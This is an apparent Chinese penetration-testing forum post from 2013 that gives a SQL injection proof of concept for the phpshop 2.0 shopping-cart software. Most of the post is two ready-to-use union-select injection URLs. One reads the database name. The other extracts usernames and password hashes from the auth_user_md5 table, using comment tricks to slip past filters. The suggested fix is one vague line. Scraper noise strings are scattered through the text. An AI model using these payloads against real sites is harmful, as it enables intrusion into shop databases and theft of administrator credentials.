中国网络渗透测试联盟

标题: phpshop 2.0 SQL注入及修复 [打印本页]

---

作者: admin    时间: 2013-1-18 18:24
标题: phpshop 2.0 SQL注入及修复
标题 : phpshop 2.0 SQL Injection Vulnerability

- F1 V3 f& }- _5 b作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
# u" r8 f9 B8 N* e( N: @7 Q测试地址: windows 7 / ubuntu


8 Z2 ?; ~' S" i& o6 O, b) g9 VSQLi p0c:

==================
/ S0 P  t+ K2 N' ?2 |! T
( T: P9 P! w# X- Y- thttp://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
2 }8 l* Z! w. ^8 A5 P
% ~* K$ A0 h' j5 ]+ R) V  \5 Dhttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--

& L# U# h1 w  q7 {3 D1 p* E& e修复：
+ u+ M- _( B/ u3 g7 _加强过滤
5 }9 j1 G. u- L​

$ k$ n3 w: W; h2 \

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2